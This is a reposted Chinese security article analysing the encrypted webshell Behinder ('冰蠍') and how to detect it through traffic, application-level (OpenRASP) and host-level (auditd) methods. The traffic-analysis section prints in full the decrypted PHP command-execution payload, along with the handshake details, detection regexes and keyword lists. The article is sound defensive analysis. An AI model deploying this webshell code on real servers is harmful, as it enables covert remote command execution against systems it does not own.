【轉載】紅藍對抗——加密Webshell「冰蠍」攻防

演練中，第一代webshell管理工具「菜刀」的攻擊流量特徵明顯，容易被安全設備檢測到，攻擊方愈來愈少使用，加密webshell正變得愈來愈流行，因爲流量加密，傳統的WAF、WebIDS設備難以檢測，給威脅監控帶來較大挑戰。這其中最出名就是「冰蠍」，「冰蠍」是一款動態二進制加密網站管理客戶端，演練中給防守方形成很大困擾，本文將對「冰蠍」的加密原理、流量特徵、檢測方案進行探討。

0x01 「冰蠍」介紹&加密原理

  「冰蠍」項目地址：https://github.com/rebeyond/Behinder  「冰蠍」目前最新版本爲v2.1，兼容性已經日益完善，加密再也不依賴PHP openssl擴展功能，同時支持了簡單的ASP。主體功能方面包括虛擬終端、socks代理、文件管理、反彈shell、數據庫管理等等，功能強大。

    加密原理方面，以PHP環境爲例，《利用動態二進制加密實現新型一句話木馬之PHP篇》^[1]這篇文章對「冰蠍「的原理已經作了詳細的分析，簡要介紹一下加密流程：

 

• 首先客戶端以Get形式發起帶密碼的握手請求，服務端產生隨機密鑰並寫入Session。

• 客戶端將源代碼，如assert|eval("phpinfo();」)利用AES加密，發送至服務端，服務端收到以後先進行AES解密，獲得中間結果字符串assert|eval("phpinfo();")。

• 服務端利用explode函數將拆分爲一個字符串數據，索引爲0的元素爲字符串assert，索引爲1的元素爲字符串eval("phpinfo();")。

• 以可變函數方式調用索引爲0的數組元素，參數爲索引爲1的數組元素，即爲assert("eval("phpinfo;")") 。

0x02 「冰蠍」加密流量分析

  經過wireshark進行抓包分析，流量以下：

  按照流程，客戶端首先get請求生產隨機密鑰，server返回生成的16位密鑰：0x7037af5d95561f3d。這個get請求的session ID爲 466geshjq6hr15kbmd72ju24g5。

  得到密鑰後，客戶端對須要執行的命令進行AES加密，加密後的通信流量以下，沒有任何攻擊特徵，安全設備難以根據特徵進行檢測：

    咱們用密鑰對該信息進行解密：

    發現解密後執行的命令被base64編碼了，進一步進行base64解碼後，獲得執行的命令以下：

@error_reporting(0);

function getSafeStr($str){
 $s1 = iconv('utf-8','gbk//IGNORE',$str);
 $s0 = iconv('gbk','utf-8//IGNORE',$s1);
 if($s0 == $str){
 return $s0;
 }else{
 return iconv('gbk','utf-8//IGNORE',$str);
 }
}
function main($cmd)
{
 @set_time_limit(0);
 @ignore_user_abort(1);
 @ini_set('max_execution_time', 0);
 $result = array();
 $PadtJn = @ini_get('disable_functions');
 if (! empty($PadtJn)) {
 $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
 $PadtJn = explode(',', $PadtJn);
 $PadtJn = array_map('trim', $PadtJn);
 } else {
 $PadtJn = array();
 }
 $c = $cmd;
 if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
 $c = $c . " 2>&1\n";
 }
 $JueQDBH = 'is_callable';
 $Bvce = 'in_array';
 if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
 ob_start();
 system($c);
 $kWJW = ob_get_contents();
 ob_end_clean();
 } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
 $handle = proc_open($c, array(
 array(
 'pipe',
 'r'
 ),
 array(
 'pipe',
 'w'
 ),
 array(
 'pipe',
 'w'
 )
 ), $pipes);
 $kWJW = NULL;
 while (! feof($pipes[1])) {
 $kWJW .= fread($pipes[1], 1024);
 }
 @proc_close($handle);
 } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
 ob_start();
 passthru($c);
 $kWJW = ob_get_contents();
 ob_end_clean();
 } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
 $kWJW = shell_exec($c);
 } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
 $kWJW = array();
 exec($c, $kWJW);
 $kWJW = join(chr(10), $kWJW) . chr(10);
 } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
 $fp = popen($c, 'r');
 $kWJW = NULL;
 if (is_resource($fp)) {
 while (! feof($fp)) {
 $kWJW .= fread($fp, 1024);
 }
 }
 @pclose($fp);
 } else {
 $kWJW = 0;
 $result["status"] = base64_encode("fail");
 $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
 $key = $_SESSION['k'];
 echo encrypt(json_encode($result), $key);
 return;
 
 }
 $result["status"] = base64_encode("success");
 $result["msg"] = base64_encode(getSafeStr($kWJW));
 echo encrypt(json_encode($result), $_SESSION['k']);
}

function encrypt($data,$key)
{
 if(!extension_loaded('openssl'))
 {
 for($i=0;$i<strlen($data);$i++) {
 $data[$i] = $data[$i]^$key[$i+1&15];
 }
 return $data;
 }
 else
 {
 return openssl_encrypt($data, "AES128", $key);
 }
}$cmd="pwd";
main($cmd);

  能夠看到，通過一些列的處理，最終執行的命令是「pwd」，命令執行的結果保存在json串result中，result["status"] 表示命令是否執行成功，result["msg"]表示命令執行的結果。冰蠍對執行的返回結果result也進行了加密，加密方式也是採用的AES（若是php沒有開啓openssl擴展，在採用明文和密鑰逐位異或進行加密），密鑰也是利用第一步隨機get產生的密鑰。

0x03 「冰蠍」檢測思路

  檢測思路能夠從流量、應用、主機三個層面入手。

 思路一：流量側

  （1）雖然冰蠍的通信流量都是加密的，可是在第一步，冰蠍必須須要得到密鑰，具體流量特徵：
  一、是一個get請求，url中帶上參數?pass（參數名稱可變）

    對應的檢測正則表達式：

/[\w.]*.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10}

  因爲該請求特徵不明顯，此正則會產生較多誤報。

  二、返回包狀態碼爲200，返回內容一定是16位的密鑰

   對應的檢測正則表達式：

^[a-fA-F0-9]{16}$

  返回包特徵相對明顯，針對這一特徵能夠在WebIDS、全流量檢測等安全設備中對返回包制定相應的特徵檢測規則。

  （2）按照kill-chain的模型，除了在webshell通訊的時候進行檢測，也能夠在上傳webshell時（即載荷投遞階段）進行檢測，對冰蠍的webshell木馬文件特徵定製特定的檢測規則。以php webshell木馬爲例，webshell中包含了openssl_decrypt、base6四、eval等關鍵字，能夠在WAF、WebIDS、流量檢測等安全設備中定製相應的關鍵字進行檢測。

   （3）安全廠商方面，愈來愈多的安全廠商也正在升級檢測規則，支持對冰蠍的檢測，檢測效果須要進一步測試。

   基於流量的檢測不可避免的可能會產生誤報的問題，須要結合企業業務實際流量進行調整；同時，冰蠍也能夠進一步升級來規避這些特徵，單單利用流量來進行檢測難以到達徹底的檢測效果。

思路二：應用側——OpenRASP檢測

一、什麼是OpenRASP？

  隨着Web應用攻擊手段變得複雜，基於請求特徵的防禦手段，已經不能知足企業安全防禦需求。Gartner在2014年提出了應用自我保護技術（RASP）的概念，即將防禦引擎嵌入到應用內部，再也不依賴外部防禦設備。OpenRASP是該技術的開源實現，能夠在不依賴請求特徵的狀況下，準確的識別代碼注入、反序列化等應用異常，很好的彌補了傳統設備防禦滯後的問題。更多細節，請參考《OpenRASP 最佳實踐》^[2]

 二、RASP 技術和現有方案主要區別

  首先，RASP 幾乎沒有誤報狀況。邊界設備基於請求特徵檢測攻擊，一般沒法得知攻擊是否成功。對於掃描器的踩點行爲、nday 掃描，通常會產生大量報警。RASP 運行在應用內部，失敗的攻擊不 會觸發檢測邏輯，因此每條攻擊都是成功的報警。

  其次，RASP 能夠發現更多攻擊。以SQL注入爲例，邊界設備只能看到請求信息。RASP 不但可以 看到請求信息，還能看到完整的SQL語句，並進行關聯。若是SQL注入讓服務器產生了語法錯誤或 者其餘異常，RASP引擎也可以識別和處理。

  最後，RASP 能夠對抗未知漏洞。發生攻擊時，邊界防禦設備沒法掌握應用下一步的動向。RASP 技術能夠識別出異常的程序邏輯，好比反序列化漏洞致使的命令執行，所以能夠對抗未知漏洞。

三、OpenRASP 部署

  目前，OpenRASP 支持 Java 和 PHP 兩種開發語言，具體安裝教程請參考：https://rasp.baidu.com/doc/install/main.html

   以PHP爲例，應用安裝成功後，會在返回包頭中添加X-Protected-By：OpenRASP字段，以下圖所示：

   此時，咱們再次利用冰蠍進行命令執行操做，發現OpenRASP的檢測引擎已經完美髮現加密流量，並檢測出執行的命令「whoami」。

   雖然OpenRASP有不少優點，能夠準確檢測出一些未知漏洞，可是因爲其自己的實現也存在一些問題使其在大規模推廣還有必定難度。好比RASP對應用侵入過大、angent的安裝可能對系統性能的影響、企業大規模部署運維的壓力等等。

思路三：主機側

（1）按期對服務器進行webshell文件掃描查殺

  這裏用D盾、河馬和OpenRASP團隊開發的下一代WebShell檢測引擎webdir+^[3]進行測試，檢測結果都比較通常。

  其中，D盾、河馬只檢測出了早期冰蠍v1.2版本中的PHP webshell文件，未檢測出jsp、asp 等webshell，檢出比只有20%。

   而對於冰蠍v2.1的webshell，D盾、河馬都徹底沒有檢測出來，檢出比爲0。

   只有webdir+檢測出了冰蠍v2.1的3個webshell文件，檢出比爲60%，可見冰蠍的免殺作得很不錯。

   同時，按期的webshell文件掃描也存在時效性差的問題，攻擊方拿到shell後，也會對webshell進行痕跡清理，因此這種方式檢測效果也有限。

（2）Linux audit日誌檢測

  雖然冰蠍通信流量是加密的，但落到主機側，仍是會調用系統命令，因此能夠在主機審計日誌層面定製檢測規則，監控冰蠍對系統命令的調用。Linux審計系統提供了一種跟蹤系統上與安全相關的信息的方法。基於預先配置的規則，審覈生成日誌條目以記錄儘量多的關於系統上發生的事件信息，參考《另類WebShell監測機制–基於auditd》^[4]思路。

  以root身份執行以下命令，可實現對執行系統命令這一個SYSCALL行爲的監控審計。

auditctl -D # 清除已有規則
 auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command

  上述命令在系統審計規則中增長了一條監控調用命令執行監控規則，而且定義規則名爲rule01_exec_command。

  在冰蠍中執行命令whoami，在Linux審計日誌中發現記錄：

 

 

type=SYSCALL：日誌規則「rule01_exec_command」被觸發，uid=33的用戶，經過父進程ppid=597，調用/usr/bin/bash，執行了命令sh，進程pid=8380。type=SYSCALL和type=EXECVE都能看到執行的程序名稱和參數。type=CWD則說明了，命令執行所在的目錄cwd="/var/www/html"。  通常cwd在web目下的，又執行了系統命令，則這個行爲是比較可疑的。  固然基於審計日誌的檢測思路也存在必定問題，包括：合理配置auditd的運行參數，準確評估審計功能對系統性能的影響；如何主動識別Web進程和Web目錄信息；如何實時收集操做系統進程和進程PID等信息；如何關聯分析Web訪問日誌；Windows平臺是否有一樣的檢測機制等等。

0x04 總結

  隨着攻防對抗的不斷升級，攻擊方的手段愈來愈隱蔽，不少攻擊流量都會進行加密，給防守方帶來了較大挑戰，相信後續對加密攻擊流量檢測的研究也會愈來愈多。本文對加密webshell「冰蠍」的加密原理進行了分析，在流量側檢測、應用側檢測、主機層檢測方面提出了檢測思路。各個層面的檢測各有利弊，都難以僅僅依靠一種手段解決全部問題。

  按照縱深防護的思想，企業須要部署多層次的防禦，合理運用各類技術的特色，從而達到多層次、多技術的防護互補的效果，進而防止一處防護失效後被全局突破。同時，在各個防護手段部署後，企業還須要持續不斷的進行安全運營，發揮防護設備最大功效，構建合適自身的安全防護體系，才能不斷提高企業的安全防禦水平，才能應對日益嚴峻的網絡安全形勢。

  最後，今天是中華人民共和國成立70週年，祝福祖國繁榮昌盛，祝你們假期愉快！

參考資料

[1]

《利用動態二進制加密實現新型一句話木馬之PHP篇》: https://xz.aliyun.com/t/2774

[2]《OpenRASP 最佳實踐》: https://rasp.baidu.com/download/OpenRASP%20Internals.pdf?from=header

[3]webdir+: https://scanner.baidu.com/#/pages/intro

[4]《另類WebShell監測機制–基於auditd》: https://www.secpulse.com/archives/62113.html